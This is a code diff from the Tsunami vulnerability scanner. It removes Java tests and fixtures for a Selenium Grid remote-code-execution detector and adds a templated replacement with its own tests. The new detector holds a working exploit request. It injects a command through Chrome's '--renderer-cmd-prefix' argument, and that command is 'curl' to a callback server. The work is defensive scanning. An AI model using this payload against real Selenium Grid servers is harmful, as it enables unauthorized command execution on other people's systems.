mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); - - DetectionReportList detectionReports = detector.detect(target, ImmutableList.of(service)); - assertThat(detectionReports.getDetectionReportsList()) - .contains(TestHelper.buildValidDetectionReport(target, service, fakeUtcClock)); - - // Exposure check - RecordedRequest req = mockSeleniumGridService.takeRequest(); - assertThat(req.getPath()).contains("/status"); - - // Ready state check - req = mockSeleniumGridService.takeRequest(); - assertThat(req.getPath()).contains("/status"); - - // RCE execution request - req = mockSeleniumGridService.takeRequest(); - assertThat(req.getPath()).contains("/session"); - } - - @Test - public void detect_whenNotVulnerable_doesNotReportVulnerability() - throws IOException, InterruptedException { - NetworkService service = TestHelper.createSeleniumGridService(mockSeleniumGridService); - // One failed response - mockSeleniumGridService.enqueue( - new MockResponse().setResponseCode(HttpStatus.FORBIDDEN.code())); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); - - DetectionReportList detectionReports = - detector.detect( - TestHelper.buildTargetInfo(forHostname(mockSeleniumGridService.getHostName())), - ImmutableList.of(service)); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - RecordedRequest req = mockSeleniumGridService.takeRequest(); - assertThat(req.getPath()).contains("/status"); - } - - @Test - public void detect_whenSeleniumRequiresAuthentication_doesNotReportVulnerability() - throws IOException, InterruptedException { - NetworkService service = TestHelper.createSeleniumGridService(mockSeleniumGridService); - // Auth required response - // HTTP/1.1 401 Unauthorized - // WWW-Authenticate: Basic realm="selenium-server" - mockSeleniumGridService.enqueue( - new MockResponse().setResponseCode(HttpStatus.UNAUTHORIZED.code())); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); - - DetectionReportList detectionReports = - detector.detect( - TestHelper.buildTargetInfo(forHostname(mockSeleniumGridService.getHostName())), - ImmutableList.of(service)); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - RecordedRequest req = mockSeleniumGridService.takeRequest(); - assertThat(req.getPath()).contains("/status"); - } -} diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorWithOutCallbackServerTest.java b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorWithOutCallbackServerTest.java deleted file mode 100644 index 3b41e5508..000000000 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorWithOutCallbackServerTest.java +++ /dev/null @@ -1,227 +0,0 @@ -/* - * Copyright 2023 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.selenium; - -// import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static com.google.common.truth.Truth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; -import static java.nio.charset.StandardCharsets.UTF_8; - -import com.google.common.collect.ImmutableList; -import com.google.common.io.Resources; -import com.google.inject.Guice; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.TargetInfo; -import java.io.IOException; -import java.security.SecureRandom; -import java.time.Instant; -import java.util.Arrays; -import javax.inject.Inject; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import okhttp3.mockwebserver.RecordedRequest; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link RCEViaExposedSeleniumGridDetector}. */ -@RunWith(JUnit4.class) -public final class RCEViaExposedSeleniumGridDetectorWithOutCallbackServerTest { - - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); - - @Inject private RCEViaExposedSeleniumGridDetector detector; - - private MockWebServer mockSeleniumGridService; - private final String validRCEResponse; - private final String validStatusResponse; - private final String validCreateSessionResponse; - private final String validSourceFormatString; - - private final SecureRandom testSecureRandom = - new SecureRandom() { - @Override - public void nextBytes(byte[] bytes) { - Arrays.fill(bytes, (byte) 0xFF); - } - }; - - public RCEViaExposedSeleniumGridDetectorWithOutCallbackServerTest() throws IOException { - - this.validRCEResponse = - Resources.toString(Resources.getResource(this.getClass(), "validRCEResponse.json"), UTF_8); - this.validStatusResponse = - Resources.toString( - Resources.getResource(this.getClass(), "validStatusResponse.json"), UTF_8); - this.validCreateSessionResponse = - Resources.toString( - Resources.getResource(this.getClass(), "validCreateSessionResponse.json"), UTF_8); - this.validSourceFormatString = - Resources.toString( - Resources.getResource(this.getClass(), "validSourceResponse.json"), UTF_8); - } - - @Before - public void setUp() throws IOException { - - mockSeleniumGridService = new MockWebServer(); - mockSeleniumGridService.start(); - - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder().setSecureRng(testSecureRandom).build(), - new RCEViaExposedSeleniumGridDetectorBootstrapModule()) - .injectMembers(this); - } - - @After - public void tearDown() throws Exception { - mockSeleniumGridService.shutdown(); - } - - @Test - public void detect_whenVulnerable_reportsVulnerability() - throws IOException, InterruptedException { - - // Enqueue Selenium Grid /status endpoint response for exposure test - mockSeleniumGridService.enqueue( - new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(validStatusResponse)); - - // Enqueue Selenium Grid /status endpoint response for state - mockSeleniumGridService.enqueue( - new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(validStatusResponse)); - - // Enqueue Command Execution (create test RCE file) response - mockSeleniumGridService.enqueue( - new MockResponse() - .setResponseCode(HttpStatus.INTERNAL_SERVER_ERROR.code()) - .setBody(validRCEResponse)); - - // Enqueue Selenium Grid /session create response - mockSeleniumGridService.enqueue( - new MockResponse() - .setResponseCode(HttpStatus.OK.code()) - .setBody(validCreateSessionResponse)); - - // Enqueue Selenium Grid file:// request response - mockSeleniumGridService.enqueue(new MockResponse().setResponseCode(HttpStatus.OK.code())); - - // Enqueue Selenium Grid source-code handler file contents response. Must contain test string. - String validSourceResponse = - String.format(validSourceFormatString, RCEViaExposedSeleniumGridDetector.RCE_TEST_STRING); - mockSeleniumGridService.enqueue( - new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(validSourceResponse)); - - // Enqueue Close session response - mockSeleniumGridService.enqueue(new MockResponse().setResponseCode(HttpStatus.OK.code())); - - // Enqueue Command Execution (Remove file / cleanup response) - mockSeleniumGridService.enqueue( - new MockResponse() - .setResponseCode(HttpStatus.INTERNAL_SERVER_ERROR.code()) - .setBody(validRCEResponse)); - - NetworkService service = TestHelper.createSeleniumGridService(mockSeleniumGridService); - TargetInfo target = - TestHelper.buildTargetInfo(forHostname(mockSeleniumGridService.getHostName())); - - DetectionReportList detectionReports = detector.detect(target, ImmutableList.of(service)); - assertThat(detectionReports.getDetectionReportsList()) - .contains(TestHelper.buildValidDetectionReport(target, service, fakeUtcClock)); - - // Selenium exposure check - RecordedRequest req = mockSeleniumGridService.takeRequest(); - assertThat(req.getPath()).contains("/status"); - - // Selenium ready state check - req = mockSeleniumGridService.takeRequest(); - assertThat(req.getPath()).contains("/status"); - - // Command Execution - create file - req = mockSeleniumGridService.takeRequest(); - assertThat(req.getPath()).contains("/session"); - - // Create new session ID - req = mockSeleniumGridService.takeRequest(); - assertThat(req.getPath()).contains("/session"); - - // Request to file:// - req = mockSeleniumGridService.takeRequest(); - assertThat(req.getPath()).contains("/url"); - - // Read file contents - req = mockSeleniumGridService.takeRequest(); - assertThat(req.getPath()).contains("/source"); - - // Close session - req = mockSeleniumGridService.takeRequest(); - assertThat(req.getPath()).contains("/session"); - - // Command Execution - Remove the RCE test file - req = mockSeleniumGridService.takeRequest(); - assertThat(req.getPath()).contains("/session"); - } - - @Test - public void detect_whenNotVulnerable_doesNotReportVulnerability() - throws IOException, InterruptedException { - - // One failed response - mockSeleniumGridService.enqueue( - new MockResponse().setResponseCode(HttpStatus.FORBIDDEN.code())); - - NetworkService service = TestHelper.createSeleniumGridService(mockSeleniumGridService); - - DetectionReportList detectionReports = - detector.detect( - TestHelper.buildTargetInfo(forHostname(mockSeleniumGridService.getHostName())), - ImmutableList.of(service)); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - RecordedRequest req = mockSeleniumGridService.takeRequest(); - assertThat(req.getPath()).contains("/status"); - } - - @Test - public void detect_whenSeleniumRequiresAuthentication_doesNotReportVulnerability() - throws IOException, InterruptedException { - NetworkService service = TestHelper.createSeleniumGridService(mockSeleniumGridService); - // Auth required response - // HTTP/1.1 401 Unauthorized - // WWW-Authenticate: Basic realm="selenium-server" - mockSeleniumGridService.enqueue( - new MockResponse().setResponseCode(HttpStatus.UNAUTHORIZED.code())); - - DetectionReportList detectionReports = - detector.detect( - TestHelper.buildTargetInfo(forHostname(mockSeleniumGridService.getHostName())), - ImmutableList.of(service)); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - RecordedRequest req = mockSeleniumGridService.takeRequest(); - assertThat(req.getPath()).contains("/status"); - } -} diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/TestHelper.java b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/TestHelper.java deleted file mode 100644 index 3e7855b38..000000000 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/TestHelper.java +++ /dev/null @@ -1,74 +0,0 @@ -/* - * Copyright 2023 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.selenium; - -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; - -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkEndpoint; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.Software; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.time.Instant; -import okhttp3.mockwebserver.MockWebServer; - -/** Helper class for shared methods in this test suite */ -final class TestHelper { - - private TestHelper() {} - - static NetworkService createSeleniumGridService(MockWebServer mockService) { - return NetworkService.newBuilder() - .setNetworkEndpoint(forHostnameAndPort(mockService.getHostName(), mockService.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setSoftware(Software.newBuilder().setName("Selenium Grid API")) - .setServiceName("http") - .build(); - } - - static TargetInfo buildTargetInfo(NetworkEndpoint networkEndpoint) { - return TargetInfo.newBuilder().addNetworkEndpoints(networkEndpoint).build(); - } - - static DetectionReport buildValidDetectionReport( - TargetInfo target, NetworkService service, FakeUtcClock fakeUtcClock) { - return DetectionReport.newBuilder() - .setTargetInfo(target) - .setNetworkService(service) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher( - RCEViaExposedSeleniumGridDetector.VULNERABILITY_REPORT_PUBLISHER) - .setValue(RCEViaExposedSeleniumGridDetector.VULNERABILITY_REPORT_ID)) - .setSeverity(Severity.CRITICAL) - .setTitle(RCEViaExposedSeleniumGridDetector.VULNERABILITY_REPORT_TITLE) - .setDescription(RCEViaExposedSeleniumGridDetector.VULNERABILITY_REPORT_DESCRIPTION) - .setRecommendation( - RCEViaExposedSeleniumGridDetector.VULNERABILITY_REPORT_RECOMMENDATION)) - .build(); - } -} diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validCreateSessionResponse.json b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validCreateSessionResponse.json deleted file mode 100644 index 4e77c6e97..000000000 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validCreateSessionResponse.json +++ /dev/null @@ -1,43 +0,0 @@ -{ - "value": { - "sessionId": "18fe50dd16c43a783c0e2d087b3cb492", - "capabilities": { - "acceptInsecureCerts": false, - "browserName": "chrome", - "browserVersion": "117.0.5938.132", - "chrome": { - "chromedriverVersion": "117.0.5938.92 (67649b10b92bb182fba357831ef7dd6a1baa5648-refs\u002fbranch-heads\u002f5938_62@{#14})", - "userDataDir": "\u002ftmp\u002f.org.chromium.Chromium.W3qZO0" - }, - "fedcm:accounts": true, - "goog:chromeOptions": { - "debuggerAddress": "localhost:40429" - }, - "networkConnectionEnabled": false, - "pageLoadStrategy": "normal", - "platformName": "linux", - "proxy": { - }, - "se:bidiEnabled": false, - "se:cdp": "ws:\u002f\u002f172.17.0.2:4444\u002fsession\u002f18fe50dd16c43a783c0e2d087b3cb492\u002fse\u002fcdp", - "se:cdpVersion": "117.0.5938.132", - "se:vnc": "ws:\u002f\u002f172.17.0.2:4444\u002fsession\u002f18fe50dd16c43a783c0e2d087b3cb492\u002fse\u002fvnc", - "se:vncEnabled": true, - "se:vncLocalAddress": "ws:\u002f\u002f172.17.0.2:7900", - "setWindowRect": true, - "strictFileInteractability": false, - "timeouts": { - "implicit": 0, - "pageLoad": 300000, - "script": 30000 - }, - "unhandledPromptBehavior": "dismiss and notify", - "webauthn:extension:credBlob": true, - "webauthn:extension:largeBlob": true, - "webauthn:extension:minPinLength": true, - "webauthn:extension:prf": true, - "webauthn:virtualAuthenticators": true - } - } -} - diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validRCEResponse.json b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validRCEResponse.json deleted file mode 100644 index e7c0af67a..000000000 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validRCEResponse.json +++ /dev/null @@ -1,118 +0,0 @@ -{ - "value": { - "error": "session not created", - "message": "Could not start a new session. Error while creating session with the driver service. Stopping driver service: Could not start a new session. Response code 500. Message: tab crashed\n (Session info: chrome=117.0.5938.132) \nHost info: host: 'ef651ba6c070', ip: '172.17.0.2'\nBuild info: version: '4.13.0', revision: 'ba948ece5b*'\nSystem info: os.name: 'Linux', os.arch: 'amd64', os.version: '6.4.16-linuxkit', java.version: '11.0.20.1'\nDriver info: driver.version: unknown\nBuild info: version: '4.13.0', revision: 'ba948ece5b*'\nSystem info: os.name: 'Linux', os.arch: 'amd64', os.version: '6.4.16-linuxkit', java.version: '11.0.20.1'\nDriver info: driver.version: unknown", - "stacktrace": [ - { - "fileName": "DriverServiceSessionFactory.java", - "moduleVersion": null, - "moduleName": null, - "nativeMethod": false, - "methodName": "apply", - "className": "org.openqa.selenium.grid.node.config.DriverServiceSessionFactory", - "lineNumber": 233, - "classLoaderName": null - }, - { - "fileName": "DriverServiceSessionFactory.java", - "moduleVersion": null, - "moduleName": null, - "nativeMethod": false, - "methodName": "apply", - "className": "org.openqa.selenium.grid.node.config.DriverServiceSessionFactory", - "lineNumber": 73, - "classLoaderName": null - }, - { - "fileName": "SessionSlot.java", - "moduleVersion": null, - "moduleName": null, - "nativeMethod": false, - "methodName": "apply", - "className": "org.openqa.selenium.grid.node.local.SessionSlot", - "lineNumber": 147, - "classLoaderName": null - }, - { - "fileName": "LocalNode.java", - "moduleVersion": null, - "moduleName": null, - "nativeMethod": false, - "methodName": "newSession", - "className": "org.openqa.selenium.grid.node.local.LocalNode", - "lineNumber": 468, - "classLoaderName": null - }, - { - "fileName": "LocalDistributor.java", - "moduleVersion": null, - "moduleName": null, - "nativeMethod": false, - "methodName": "startSession", - "className": "org.openqa.selenium.grid.distributor.local.LocalDistributor", - "lineNumber": 648, - "classLoaderName": null - }, - { - "fileName": "LocalDistributor.java", - "moduleVersion": null, - "moduleName": null, - "nativeMethod": false, - "methodName": "newSession", - "className": "org.openqa.selenium.grid.distributor.local.LocalDistributor", - "lineNumber": 565, - "classLoaderName": null - }, - { - "fileName": "LocalDistributor.java", - "moduleVersion": null, - "moduleName": null, - "nativeMethod": false, - "methodName": "handleNewSessionRequest", - "className": "org.openqa.selenium.grid.distributor.local.LocalDistributor$NewSessionRunnable", - "lineNumber": 829, - "classLoaderName": null - }, - { - "fileName": "LocalDistributor.java", - "moduleVersion": null, - "moduleName": null, - "nativeMethod": false, - "methodName": "lambda$run$1", - "className": "org.openqa.selenium.grid.distributor.local.LocalDistributor$NewSessionRunnable", - "lineNumber": 787, - "classLoaderName": null - }, - { - "fileName": "ThreadPoolExecutor.java", - "moduleVersion": "11.0.20.1", - "moduleName": "java.base", - "nativeMethod": false, - "methodName": "runWorker", - "className": "java.util.concurrent.ThreadPoolExecutor", - "lineNumber": 1128, - "classLoaderName": null - }, - { - "fileName": "ThreadPoolExecutor.java", - "moduleVersion": "11.0.20.1", - "moduleName": "java.base", - "nativeMethod": false, - "methodName": "run", - "className": "java.util.concurrent.ThreadPoolExecutor$Worker", - "lineNumber": 628, - "classLoaderName": null - }, - { - "fileName": "Thread.java", - "moduleVersion": "11.0.20.1", - "moduleName": "java.base", - "nativeMethod": false, - "methodName": "run", - "className": "java.lang.Thread", - "lineNumber": 829, - "classLoaderName": null - } - ] - } -} diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validSourceResponse.json b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validSourceResponse.json deleted file mode 100644 index 28347973f..000000000 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validSourceResponse.json +++ /dev/null @@ -1 +0,0 @@ -{"value":"\u003Chtml>\u003Chead>\u003Cmeta name=\"color-scheme\" content=\"light dark\">\u003C/head>\u003Cbody>\u003Cpre style=\"word-wrap: break-word; white-space: pre-wrap;\">== Info: Could not resolve host: %s\n== Info: Closing connection 0\n== Info: Closing connection -1\n== Info: Could not resolve host: --type=renderer\n== Info: Closing connection 1\n== Info: Could not resolve host: --crashpad-handler-pid=1009\n== Info: Closing connection 2\n== Info: Could not resolve host: --enable-crash-reporter=,\n== Info: Closing connection 3\n== Info: Could not resolve host: --user-data-dir=\n== Info: Closing connection 4\n== Info: Could not resolve host: --disable-nacl\n== Info: Closing connection 5\n== Info: Could not resolve host: --change-stack-guard-on-fork=enable\n== Info: Closing connection 6\n== Info: Could not resolve host: --first-renderer-process\n== Info: Closing connection 7\n== Info: Could not resolve host: --no-sandbox\n== Info: Closing connection 8\n== Info: Could not resolve host: --enable-automation\n== Info: Closing connection 9\n== Info: Could not resolve host: --enable-logging\n== Info: Closing connection 10\n== Info: Could not resolve host: --log-level=0\n== Info: Closing connection 11\n== Info: Could not resolve host: --remote-debugging-port=0\n== Info: Closing connection 12\n== Info: Could not resolve host: --test-type=webdriver\n== Info: Closing connection 13\n== Info: Could not resolve host: --allow-pre-commit-input\n== Info: Closing connection 14\n== Info: Could not resolve host: --lang=en-US\n== Info: Closing connection 15\n== Info: Could not resolve host: --no-zygote\n== Info: Closing connection 16\n== Info: Could not resolve host: --num-raster-threads=4\n== Info: Closing connection 17\n== Info: Could not resolve host: --enable-main-frame-before-activation\n== Info: Closing connection 18\n== Info: Could not resolve host: --renderer-client-id=6\n== Info: Closing connection 19\n== Info: Could not resolve host: --time-ticks-at-unix-epoch=-1698342196881314\n== Info: Closing connection 20\n== Info: Could not resolve host: --launch-time-ticks=164367582710\n== Info: Closing connection 21\n== Info: Could not resolve host: --shared-files=v8_context_snapshot_data\n== Info: Closing connection 22\n== Info: Could not resolve host: --field-trial-handle=0,i,15103590906384673515,15100159955151569127,262144\n== Info: Closing connection 23\n\u003C/pre>\u003C/body>\u003C/html>"} diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validStatusResponse.json b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validStatusResponse.json deleted file mode 100644 index 8061f0f0d..000000000 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validStatusResponse.json +++ /dev/null @@ -1,38 +0,0 @@ -{ - "value": { - "ready": true, - "message": "Selenium Grid ready.", - "nodes": [ - { - "id": "9996c3f0-2039-4eb3-978b-f9437d55b07e", - "uri": "http:\u002f\u002f172.17.0.2:4444", - "maxSessions": 1, - "osInfo": { - "arch": "amd64", - "name": "Linux", - "version": "6.4.16-linuxkit" - }, - "heartbeatPeriod": 60000, - "availability": "UP", - "version": "4.13.0 (revision ba948ece5b*)", - "slots": [ - { - "id": { - "hostId": "9996c3f0-2039-4eb3-978b-f9437d55b07e", - "id": "a71b4b4d-96b8-442b-9c89-a21653c50fcd" - }, - "lastStarted": "2023-10-28T14:45:31.644970Z", - "session": null, - "stereotype": { - "browserName": "chrome", - "browserVersion": "117.0", - "platformName": "linux", - "se:noVncPort": 7900, - "se:vncEnabled": true - } - } - ] - } - ] - } -} diff --git a/templated/templateddetector/plugins/exposedui/SeleniumGrid_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/SeleniumGrid_ExposedUI.textproto new file mode 100644 index 000000000..490988db1 --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/SeleniumGrid_ExposedUI.textproto @@ -0,0 +1,153 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "SeleniumGrid_ExposedUI" + author: + "Robert Dick (robert@doyensec.com) for the Templated version," + " Dawid Golunski (dawid@doyensec.com) for the original Java version" + version: "2.0" +} + + +finding: { + main_id: { + publisher: "TSUNAMI_COMMUNITY" + value: "SeleniumGrid_ExposedUI" + } + severity: CRITICAL + title: "Selenium Grid Exposed API" + description: + "The scanner detected an exposed Selenium Grid service that allows annonymous access." + " It is possible to connect to Selenium Grid to create a remote Chrome webdriver" + " with a set of configurations such as --renderer-cmd-prefix which can allow attackers" + " to inject an arbitrary command that will get executed when a browser is started." + recommendation: + "Restrict access to the exposed Selenium Grid by adding --username and --password parameters" + " to selenium-server.jar command line, or within the [router] section in" + " the Selenium Grid config file (/opt/selenium/config.toml).\n" + "See: https://www.selenium.dev/documentation/grid/configuration/cli_options/#router" +} + + +########### +# ACTIONS # +########### + + +actions: { + name: "fingerprint_selenium_grid" + http_request: { + method: GET + uri: "/status" + response: { + expect_any: { + conditions: [ + { body: {} contains: "Selenium Grid" }, + { body: {} contains: "selenium grid" }, + { body: {} contains: "Selenium grid" } + ] + } + } + } +} + +# we don't care about the response for this request since +# we can check output from either file read or callback server + +actions: { + name: "execute_payload" + http_request: { + method: POST + uri: "/wd/hub/session" + headers: [ + { name: "User-Agent" value: "TSUNAMI_SCANNER"}, + { name: "Content-Type" value: "application/json"} + ] + data: + '{' + ' "capabilities": {' + ' "firstMatch": [' + ' {}' + ' ],' + ' "alwaysMatch": {' + ' "browserName": "chrome",' + ' "pageLoadStrategy": "normal",' + ' "platformName": "linux",' + ' "cloud:options": {' + ' "build": "RCE",' + ' "name": "RCE"' + ' },' + ' "goog:chromeOptions": {' + ' "extensions": [],' + ' "args": [' + ' "--no-sandbox",' + ' "--renderer-cmd-prefix={{ PAYLOAD }} --"' + ' ]' + ' }' + ' }' + ' }' + '}' + response: { + http_status: 200 + extract_all: { + patterns: [ + { + from_body: {} + regexp: '"sessionId": "([^"]+)"' + variable_name: "SESSIONID1" + } + ] + } + } + } + cleanup_actions: ["delete_session"] +} + +actions: { + name: "delete_session" + http_request: { + method: DELETE + uri: "/wd/hub/session/{{ SESSIONID1 }}" + headers: [ + { name: "User-Agent" value: "TSUNAMI_SCANNER"} + ] + } +} + +# OOB sleep and check callback server steps +# since we already fingerprinted we can do a long sleep here. + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 5000 } } +} +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + + +############# +# WORKFLOWS # +############# + + +workflows: { + condition: REQUIRES_CALLBACK_SERVER + variables: [ + { name: "PAYLOAD" value: "curl {{ T_CBS_URI }}" } + ] + actions: [ + "fingerprint_selenium_grid", + "execute_payload", + "sleep", + "check_callback_server_logs" + ] +} + diff --git a/templated/templateddetector/plugins/exposedui/SeleniumGrid_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/SeleniumGrid_ExposedUI_test.textproto new file mode 100644 index 000000000..e4d6c3425 --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/SeleniumGrid_ExposedUI_test.textproto @@ -0,0 +1,110 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "SeleniumGrid_ExposedUI" +} + +tests: { + name: "whenOobVulnerable_returnsTrue" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "/status" + status: 200 + body_content: + '{' + ' "value": {' + ' "ready": true,' + ' "message": "Selenium Grid ready.",' + ' ...' + ' }' + '}' + }, + { + uri: "/wd/hub/session" + status: 200 + body_content: + '{' + '"value": {' + '"sessionId": "bbbbb",' + '}, ...' + '}' + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: ' ... ' + } + ] + } +} + +tests: { + name: "whenOobNotVulnerable_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/status" + status: 200 + body_content: + '{' + ' "value": {' + ' "ready": true,' + ' "message": "Selenium Grid ready.",' + ' ...' + ' }' + '}' + }, + { + uri: "/wd/hub/session" + status: 200 + body_content: + '{' + '"value": {' + '"sessionId": "bbbbb",' + '}, ...' + '}' + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: ' ... ' + } + ] + } +} + +tests: { + name: "whenRandomServer_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "Login to your Drupal account" + } + ] + } +}